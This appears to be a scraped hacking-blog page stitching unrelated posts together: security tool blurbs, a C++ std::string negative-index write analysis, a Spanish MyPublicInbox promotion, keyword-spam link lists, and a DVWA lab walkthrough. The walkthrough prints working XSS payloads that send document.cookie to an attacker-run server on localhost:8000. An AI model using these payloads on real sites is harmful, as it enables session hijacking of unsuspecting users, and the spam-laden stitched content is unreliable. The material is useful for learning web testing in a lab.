Friday, May 22, 2020

Exploit-Me


"Exploit-Me is a suite of Firefox web application security testing tools designed to be lightweight and easy to use. The Exploit-Me series was originally introduced at the SecTor conference in Toronto. The slides for the presentation are available for download. Along with this SecTor is making the audio of the talk available." read more...



Website: http://securitycompass.com/exploitme.shtml

Continue reading


  1. Google Hacking Search
  2. Hacking Tor Funciona
  3. Blog Hacking

Carina - Webshell, Virtual Private Server (VPS) And cPanel Database


Carina is a web application used to store webshell, Virtual Private Server (VPS) and cPanel data. Carina is made so that we don't need to store webshell, VPS or cPanel data in "strange places".

Screenshots





Install Carina
  1. $ git clone https://github.com/c0delatte/carina && cd carina
  2. Run composer update.
  3. Edit .env.example with your database configuration.
  4. Run php artisan migrate for generate required tables.
  5. Run php artisan serve.

Contact
If you discover something stupid within Carina, please send an e-mail to us via abay@codelatte.org.




via KitPloit
Continue reading

Thursday, May 21, 2020

C++ Std::String Buffer Overflow And Integer Overflow

Interators are usually implemented using signed integers like the typical "for (int i=0; ..." and in fact is the type used indexing "cstr[i]", most of methods use the signed int, int by default is signed.
Nevertheless, the "std::string::operator[]" index is size_t which is unsigned, and so does size(), and same happens with vectors.
Besides the operator[] lack of negative index control, I will explain this later.

Do the compilers doesn't warn about this?


If his code got a large input it would index a negative numer, let see g++ and clang++ warnings:



No warnings so many bugs out there...

In order to reproduce the crash we can load a big string or vector from file, for example:


I've implemented a loading function, getting the file size with tellg() and malloc to allocate the buffer, then in this case used as a string.
Let see how the compiler write asm code based on this c++ code.



So the string constructor, getting size and adding -2 is clear. Then come the operator<< to concat the strings.
Then we see the operator[] when it will crash with the negative index.
In assembly is more clear, it will call operator[] to get the value, and there will hapen the magic dereference happens. The operator[] will end up returning an invalid address that will crash at [RAX]



In gdb the operator[] is a  allq  0x555555555180 <_znst7__cxx1112basic_stringicst11char_traitsicesaiceeixem plt="">

(gdb) i r rsi
rsi            0xfffffffffffefffe  -65538


The implmementation of operator ins in those functions below:

(gdb) bt
#0  0x00007ffff7feebf3 in strcmp () from /lib64/ld-linux-x86-64.so.2
#1  0x00007ffff7fdc9a5 in check_match () from /lib64/ld-linux-x86-64.so.2
#2  0x00007ffff7fdce7b in do_lookup_x () from /lib64/ld-linux-x86-64.so.2
#3  0x00007ffff7fdd739 in _dl_lookup_symbol_x () from /lib64/ld-linux-x86-64.so.2
#4  0x00007ffff7fe1eb7 in _dl_fixup () from /lib64/ld-linux-x86-64.so.2
#5  0x00007ffff7fe88ee in _dl_runtime_resolve_xsavec () from /lib64/ld-linux-x86-64.so.2
#6  0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29

Then crashes on the MOVZX EAX, byte ptr [RAX]

Program received signal SIGSEGV, Segmentation fault.
0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29
29     cout << "penultimate byte is " << hex << s[i] << endl;
(gdb)


What about negative indexing in std::string::operator[] ?
It's exploitable!

In a C char array is known that having control of the index, we can address memory.
Let's see what happens with C++ strings:






The operator[] function call returns the address of string plus 10, and yes, we can do abitrary writes.



Note that gdb displays by default with at&t asm format wich the operands are in oposite order:


And having a string that is in the stack, controlling the index we can perform a write on the stack.



To make sure we are writing outside the string, I'm gonna do 3 writes:


 See below the command "i r rax" to view the address where the write will be performed.


The beginning of the std::string object is 0x7fffffffde50.
Write -10 writes before the string 0x7fffffffde46.
And write -100 segfaults because is writting in non paged address.



So, C++ std::string probably is not vulnerable to buffer overflow based in concatenation, but the std::string::operator[] lack of negative indexing control and this could create vulnerable and exploitable situations, some times caused by a signed used of the unsigned std::string.size()










Related posts

CEH: 10 Hacking Tools For Hackers


There are a lot of hacking tools available over the internet but mostly we need some of them. In this blog you'll learn about hacking tools which are typically used in the world of hacking by penetration testers.

SmartWhois

SmartWhois is an information-gathering program that allows you to find all available information about an IP address, hostname, or domain, including country, state or province, city, name of the network provider, administrator, and technical support contact information. SmartWhois is a graphical version of the basic Whois program.

SocksChain

SocksChain is a tool that gives a hacker the ability to attack through a chain of proxy servers. The main purpose of doing this is to hide the hacker's real IP address and therefore minimize the chance of detection. When a hacker works through several proxy servers in series, it's much harder to locate the hacker. Tracking the attacker's IP address through the logs of several proxy servers is complex and tedious work. If one of the proxy servers' log files is lost or incomplete, the chain is broken, and the hacker's IP address remains anonymous.

NeoTrace, VisualRoute, and VisualLookout

NeoTrace, VisualRoute, and VisualLookout are all packet-tracking tools with a GUI or visual interface. They plot the path the packets travel on a map and can visually identify the locations of routers and other internet working devices. These tools operate similarly to traceroute and perform the same information gathering; however, they provide a visual representation of the results.

Visualware's eMailTrackerPro

Visualware's eMailTrackerPro ( www.emailtrackerpro.com/ ) and MailTracking ( http://mailtracking.com/ ) are tools that allow an ethical hacker to track email messages. When you use these tools to send an email, forward an email, reply to an email, or modify an email, the resulting actions and tracks of the original email are logged. The sender is notified of all actions performed on the tracked email by an automatically generated email.

IPEye

IPEye is a TCP port scanner that can do SYN, FIN, Null, and XMAS scans. It's a command line tool.
IPEye probes the ports on a target system and responds with closed, reject, drop, or open. Closed means there is a computer on the other end, but it doesn't listen at the port. Reject means a firewall is rejecting the connection to the port (sending a reset back). Drop means a firewall is dropping everything to the port, or there is no computer on the other end. Open means some kind of service is listening at the port. These responses help a hacker identify what type of system is responding.

IPSecScan

IPSecScan is a tool that can scan either a single IP address or a range of addresses looking for systems that are IPSec enabled that means the system has IPSec enabled while disabled means that it either has IPSec disabled, the compatibility issue or the configuration issue that not reveal to you that it has IPSec enabled. Indeterminable means that the scanner isn't sure if IPSec is enabled or disabled.

Icmpenum

Icmpenum uses not only ICMP Echo packets to probe networks, but also ICMP Timestamp and ICMP Information packets. Furthermore, it supports spoofing and sniffing for reply packets. Icmpenum is great for scanning networks when the firewall blocks ICMP Echo packets but fails to block Timestamp or Information packets.

SNMP Scanner

SNMP Scanner allows you to scan a range or list of hosts performing ping, DNS, and Simple Network Management Protocol (SNMP) queries. This tool helps you to find out the current information about the device of SNMP nodes in the given network.

hping2 tool

The hping2 tool is notable because it contains a host of other features besides OS fingerprinting such as TCP, User Datagram Protocol (UDP), ICMP, and raw-IP ping protocols, traceroute mode, and the ability to send files between the source and target system.

THC-Scan, PhoneSweep, and TeleSweep

THC-Scan, PhoneSweep, and TeleSweep are tools that identify phone numbers and can dial a target to make a connection with a computer modem. These tools generally work by using a predetermined list of common usernames and passwords in an attempt to gain access to the system. Most remote-access dial-in connections aren't secured with a password or use very rudimentary security.Continue reading
  1. Hacking Wifi Kali Linux
  2. Escuela Travel Hacking
  3. Chema Alonso Libros
  4. Hacking Windows: Ataques A Sistemas Y Redes Microsoft
  5. Curso Completo De Hacking Ético
  6. Whatsapp Hacking
  7. Python Hacking
  8. Nfc Hacking
  9. Hacking Software
  10. Amiibo Hacking
  11. Que Significa Hat
  12. Hacking Etico
  13. Hacking Definicion
  14. Aprender Seguridad Informatica
  15. Herramientas Hacking Etico

W3AF

"W3AF is a Web Application Attack and Audit Framework. The project goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. This project is currently hosted at SourceForge." read more...

Related posts


Wednesday, May 20, 2020

New Bluetooth Vulnerability Exposes Billions Of Devices To Hackers

Academics from École Polytechnique Fédérale de Lausanne (EPFL) disclosed a security vulnerability in Bluetooth that could potentially allow an attacker to spoof a remotely paired device, exposing over a billion of modern devices to hackers. The attacks, dubbed Bluetooth Impersonation AttackS or BIAS, concerns Bluetooth Classic, which supports Basic Rate (BR) and Enhanced Data Rate (EDR) for

via The Hacker News

Related news


  1. Hacking Curso
  2. Defcon Hacking
  3. Cómo Se Escribe Hacker
  4. Viral Hacking
  5. Un Hacker
  6. Linux Hacking Distro
  7. Hacking Traduccion
  8. Curso Ethical Hacking
  9. Hacking Mac
  10. Hacking Iphone
  11. Hacking The Art Of Exploitation
  12. Hacking-Lab
  13. Un Hacker
  14. Hacking In Spanish

WordPress 5.0.0 Crop-Image Shell Upload Exploit

More info
  1. Hacking Aves
  2. Live Hacking
  3. Herramientas Hacking Etico
  4. Google Hacking
  5. Aprender A Ser Hacker
  6. Hacking Simulator
  7. Que Estudia Un Hacker
  8. Como Ser Un Buen Hacker
  9. Hacking Microsoft
  10. Hacking Marketing
  11. Herramientas Hacking Android
  12. Libro Hacker
  13. Start Hacking
  14. Blog Hacking
  15. Brain Hacking
  16. Bluetooth Hacking

Monday, May 18, 2020

MyPublicInbox: Algunos Perfiles Públicos Del Mundo Del Empredimiento Y La Cultura #MyPublicInbox @Mypublicinbox1

El proyecto de MyPublicInbox acaba de cumplir siete mese de vida la semana pasada, pero no para de crecer a buen ritmo, lo que nos llena de energía para seguir trabajando en hacer cada día una mejor plataforma. En el post de hoy solo os quiero traer una pequeña actualización del mismo y dejaros algunos de los perfiles públicos que se han sumado al proyecto desde el mundo del emprendimiento y la cultura. 

Figura 1: MyPublicInbox: Algunos Perfiles Públicos
del mundo del Empredimiento y la Cultura


Son solo algunos de los que se van sumando, pero si estás pensando en hacer algún proyecto en tecnología, o quieres contactar con ellos, lo puedes hacer vía su cuenta de MyPublicInbox de la forma más respetuosa.


Reconozco que con Fernando Romay tengo cierto cariño especial porque me crié con el póster del Real Madrid de Baloncesto que ganó la Recopa de Europa de Baloncesto de 1984. No recuerdo cuando ganaron la Copa de Europa de Barcelona en el año 1979-1980, pero sí viví la final de  1984 y la medalla de plata en los Juegos Olímpicos de Los Ángeles 1984, y aún me acuerdo de Romay, Corbalán, Fernando Martín, Del Corral, Sorozabal y Corvalán. Luego vendrían otros, pero aquellos jugadores fueron los de mi niñez. 

Figura 2: Contactar con Fernando Romay en MyPublicInbox


Después, Fernando e Iturriaga comenzarían carrera en la televisión y me hice más fan. Ahora tener a Fernando Romay en MyPublicInbox es una maravilla. Cuando lo vea en persona me debe un abrazo que me ha prometido.


El grupo Taburete es uno de los que está más enganchado con la juventud hoy en día. Y cuando fui a ver el concierto de Arnau Griso tuve la suerte de conocer a Willy. Hablamos de cine - es un especialista en cine independiente -, de música, y de pasarlo bien. Yo le conté lo que estábamos haciendo con MyPublicInbox y ahora Willy tiene su buzón por aquí.

Figura 3: Contactar con Willy Barcenas en MyPublicInbox


Covadonga Fernández

Es la directora del diario Observatorio Blockchain y Blockchain Media. Consultora de Comunicación. Organizadora del primer meetup sobre Blockchain y Periodismo y escribe en Post2020. Fue Presidenta de Telemadrid, docente en la Universidad Carlos III de Madrid, Dircom de la Cámara de Comercio de Madrid y organizadora de diferentes eventos relacionados con Blockchain además de dar muchas conferencias  sobre la aplicación de Blockchain en las industrias culturales y creativas. Ahora la tienes accesible en su buzón en MyPublicInbox.

Figura 4: Contactar con Covadonga Fernández


CEO de Territorio Blockchain, Presidente de la Asociación MIT, Ambassador en España del proyecto Beam y global Pioneer de Gxchain, así como COO de WOONKLY. También es productor, locutor y director de medios; como Telemotril, Motrildigital.com y el creador y director del podcast "Territorio Bitcoin" en IVOOX. Actualmente he lanzado una web de medios especializada en tecnología https://territorioblockchain.com

Figura 5: Contactar con José Fernando Molina Pinos en MyPublicInbox


Especializado en trajes de ceremonia a medida, sus creaciones han desfilado por alfombras rojas y sus prendas únicas y artesanales han protagonizado numerosas portadas de las publicaciones más conocidas. Desde 2005 su nombre también está unido a la creación de vestuarios para teatro, cine, danza y ópera, debido a su otra faceta: la de figurinista, destacando su trabajo para la Compañía Nacional de Teatro Clásico. Colabora en El Comanche, programa de Onda Cero que dirige Julia Otero

Figura 6: Contactar con Lorenzo Caprile en MyPublicInbox


También es jurado del programa de TVE, Maestros de la Costura. Ha recibido numerosos premios por la excelencia de su trabajo como modista y figurinista. Ha sido galardonado con la Medalla de Oro al Mérito en las Bellas Artes. Ahora puedes contactar con el en su buzón público en MyPublicInbox.


Probablemente conozcas La Más Mona, una de las startups más prometedoras en España que se dedica al alquiler de vestidos y accesorios de fiesta (tocados, bolsos, joyas, guantes, cinturones). En Pinterest puedes ver muchos de los conjuntos que lleva la gente para ser "La Más Mona". Tienes a Polo Villaamil, fundador y CEO de La Más Mona en su buzón de MyPublicInbox.

Figura 7: Contactar con Polo Villaamil en MyPublicInbox


Andrés Ortiz Moyano

Periodista, escritor y consultor de comunicación, dirige la agencia AOM, especializada en comunicación y marketing digital, y la consultora digital y tecnológica E-LAND. Especializado en periodismo de investigación, estudio de la propaganda, nuevas tecnologías y terrorismo yihadista.

Figura 8: #Yihad: Cómo el estado islámico ha conquistado
inernet y los medios de comunicación.


Colabora habitualmente en medios de comunicación españoles e internacionales y es  autor de los libros #YIHAD. Cómo el Estado Islámico ha conquistado internet y los medios de comunicación, Los falsos profetas. Claves de la propaganda yihadista , el ensayo sobre ciencia ficción y videojuegos Yo, Shepard. El Universo de Mass Effect  y de la novela de fantasía Adalides del Este: Creación. Ahora puedes contactar con Andrés Ortiz Moyano en su buzón en MyPublicInbox.

Figura 9: Contactar con Andrés Ortiz Moyano

Teresa Gonzalo

Es una investigadora y científica española especializada en cáncer y SIDA, coautora de dos patentes mundiales, cofundadora de Ambiox Biotech y reconocida por su labor solidaria. Es experta en terapias selectivas que utilizan nanopartículas, para curar enfermedades hepáticas y tumores así como para prevenir el VIH. Desde hace ya unos años, desarrolla su carrera en Dallas (Estados Unidos).

Figura 10: Contactar con Teresa Gonzalo


Ha recibido el primer galardón de la Fundación Genoma España y fue nombrada Mujer del Año por la revista Scientific Entrepreneurial Woman Today. Este es su buzón público. Puedes contactar con ella para consultarle cualquier tema relacionado con el emprendimiento, biotecnología o inversión.


Es un artista conceptual e ilustrador titulado en Ilustración y Dibujo Publicitario por la Escuela de Artes de Zaragoza. En la actualidad está vinculado principalmente al mundo del entretenimiento y editorial. Con mas de veinticinco años de experiencia en el sector artístico, en la actualidad se dedica de  forma específica, al mundo de la ilustración a través del uso de herramientas digitales y especializándse en Arte Conceptual para el sector del entretenimiento.Trabaja como freelance vinculado principalmente al mundo del videojuego, editorial, postproducción y formación de nuevos artistas. Puedes contactar con él en su buzón en MyPublicInbox.

Figura 11: Contactar con José Antonio Germán


Es Criptoeconomista y  desde el año 2007 su actividad ha ido centrándose, cada vez más a la formación. Profesionalmente ha sido subdirector de agencia de bolsa alemana, Hanseatic Brokerhouse, en la sucursal para España y LATAM. Actualmente es CEO y cofundador de CRIPTORO, empresa Fintech y director de EFID, la Escuela Financiera e Innovación Digital de Criptoro.  Es autor de dos libros: "Diario de un especulador" y de "Criptopedia ¡Hola Bitcoin!".

Figura 12: Contactar con Jesús V. Sánchez-Bermejo

Desde la última actualización que os hice del proyecto, se han dado de alta cientos de usuarios en la plataforma, pero os he seleccionado solo diez perfiles públicos para hoy. Como sabéis, tenemos una sección para vez algunos de los Perfiles Públicos destacados por algunas categorías, y os he dejado muchos otros perfiles en las referencias que os dejo aquí de MyPublicInbox. Recuerda, que en la web tienes información sobre cómo ser un perfil público en MyPublicInbox.
Más Referencias:


Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)

Related word


  1. Blog Hacking
  2. Curso Hacking Gratis
  3. El Mejor Hacker

RED_HAWK: An Information Gathering, Vulnerability Scanning And Crawling Tool For Hackers


About RED_HAWK: RED_HAWK is a all in one tool for Information Gathering, Vulnerability Scanning and Crawling. A must have tool for all pentesters and hackers.

RED_HAWK's features:
  • Basic ScanSite Title (NEW):
       IP Address
       Web Server Detection IMPROVED
       CMS Detection
       Cloudflare Detection
       robots.txt Scanner
  • Whois Lookup (IMPROVED)
  • Geo-IP Lookup
  • Grab Banners IMPROVED
  • DNS Lookup
  • Subnet Calculator
  • Nmap Port Scan
  • Sub-Domain Scanner IMPROVED:
       Sub Domain
       IP Address
  • Reverse IP Lookup and CMS Detection IMPROVED:
       Hostname
       IP Address
       CMS
  • Error Based SQLi Scanner
  • Bloggers View NEW
       HTTP Response Code
       Site Title
       Alexa Ranking
       Domain Authority
       Page Authority
       Social Links Extractor
       Link Grabber
  • WordPress Scan NEW
       Sensitive Files Crawling
       Version Detection
       Version Vulnerability Scanner
  • Crawler
  • MX Lookup NEW
  • Scan For Everything - The Old Lame Scanner
List of CMS Supported on RED_HAWK
   RED_HAWK's CMS Detector currently is able to detect the following CMSs (Content Management Systems) in case the website is using some other CMS, Detector will return could not detect.
  • WordPress
  • Joomla
  • Drupal
  • Magento

RED_HAWK Installation
   How To Configure RED HAWK with moz.com for Bloggers View Scan?
   All set, now you can enjoy the bloggers view.

How to use RED_HAWK?

Known Issues of RED_HAWK
   ISSUE: Scanner Stops Working After Cloudflare Detection!
   SOLUTION: Use the fix command (for Debian-based distros) or manually install php-curl and php-xml.

   Watch the video to see how to solve that isuue:

Support and Donations
   Found RED_HAWK cool? Well you could buy a cup of tea for the author 😉 Just send any amount of donations (in Bitcoin) to this address: 1NbiQidWWVVhWknsfPSN1MuksF8cbXWCku

   Can't donate? well that's no problem just drop a "THANK YOU, AUTHOR" this will motivate me to create more exciting stuffs for you 😉

TODOs for RED_HAWK:
  • Make a proper update option ( Installs current version automatically )
  • Add more CMS to the detector
  • Improve The WordPress Scanner ( Add User, Theme & Plugins Enumeration )
  • Create a web version of the scanner
  • Add XSS & LFI Scanner
  • Improve the Links grabber thingy under bloggers view
  • Add some other scans under the Bloggers View



Related word

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script>
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script>
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Related news


  1. Hacker Seguridad Informática
  2. Best Hacking Games
  3. Hacking Netflix Account
  4. Que Es Un Hacker
  5. Hacking Pages
  6. Growth Hacking Barcelona
  7. Growth Hacking Madrid
  8. House Hacking
  9. Hacking Hardware
  10. Hacking Con Buscadores Pdf
  11. Hacking Con Buscadores